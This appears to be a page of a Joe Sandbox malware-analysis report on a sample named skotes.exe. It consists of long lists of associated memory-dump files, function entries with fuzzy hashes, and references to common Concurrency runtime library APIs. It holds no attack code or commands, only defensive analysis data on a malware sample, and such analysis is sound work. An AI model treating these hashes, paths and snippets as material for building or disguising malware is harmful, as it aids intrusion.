Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 1fe6947d6348cd772e6bcb4b79f2e05cac7b65938132a5b94416be6422b0f9d0
Instruction ID: 0f5018e3165391c7834bb5259b7fb910298a0b0b88aa86dcd97a0572848d2094
Opcode Fuzzy Hash: 1fe6947d6348cd772e6bcb4b79f2e05cac7b65938132a5b94416be6422b0f9d0
Instruction Fuzzy Hash: EB01D632601521AFCE257B65D8C2D6DBBE9FF4571070005BAF800A7652CF20AC5187A1

Function 00BA33C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00BA33DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 00BA33EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00BA3407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00BA341F

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: d74038cfc309173a3a6b385b07780ffe14ad33ddb7c1037467f6420f76227ff5
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: B701DB32608514A7CF16EE548842AAF77D9DF46B50F100095FC159B341DE71EE1097A0

Function 00B99510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00B99519

Part of subcall function 00B8F4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00B95486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 00B9953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00B99550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00B99559

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: e3b8bf0c073410dad8cfbe57bda5f93bcf282e1e7bd0261fab08fbd58d04e720
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: 64F0A731204B105FEEA2BB5C8811F6B23D49F51711F01C4BEE45B97242CE24E942CB41

Function 00B8EFCD Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

Concurrency::critical_section::unlock.LIBCMT ref: 00B8EFD1

Part of subcall function 00B8F968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 00B8F989
Part of subcall function 00B8F968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 00B8F9C0
Part of subcall function 00B8F968: Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 00B8F9CC

Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00B8EFDD

Part of subcall function 00B8F40F: Concurrency::critical_section::unlock.LIBCMT ref: 00B8F433

Concurrency::Context::Block.LIBCONCRT ref: 00B8EFE2

Part of subcall function 00B90366: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00B90368

Concurrency::critical_section::lock.LIBCONCRT ref: 00B8F002

Part of subcall function 00B8F891: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00B8F8AC
Part of subcall function 00B8F891: Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 00B8F8B7

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$LockNodeNode::Queue$Concurrency::critical_section::_Concurrency::critical_section::unlockNextWait$Acquire_lockBase::BlockConcurrency::Concurrency::critical_section::lockConcurrency::details::_ContextContext::CurrentDerefLock::_ReaderSchedulerScoped_lockScoped_lock::~_Switch_to_activeTimerWriter
String ID:
API String ID: 811866635-0
Opcode ID: 7a2ea284a1e5692f87cd95bcff3db10d79bdc0248df482e0ed5673d802768c2a
Instruction ID: 6cc64aa01b8847b2e0b32282189cc4443a6befebd866f6508aa7fc7fcb02c7ca
Opcode Fuzzy Hash: 7a2ea284a1e5692f87cd95bcff3db10d79bdc0248df482e0ed5673d802768c2a
Instruction Fuzzy Hash: 24E04F34A00506ABCB04FB20C45556DBBA1FF84360B1483A9E4A5172F2CF386E46CB85

Function 00BADFE3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 00BADFE8

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

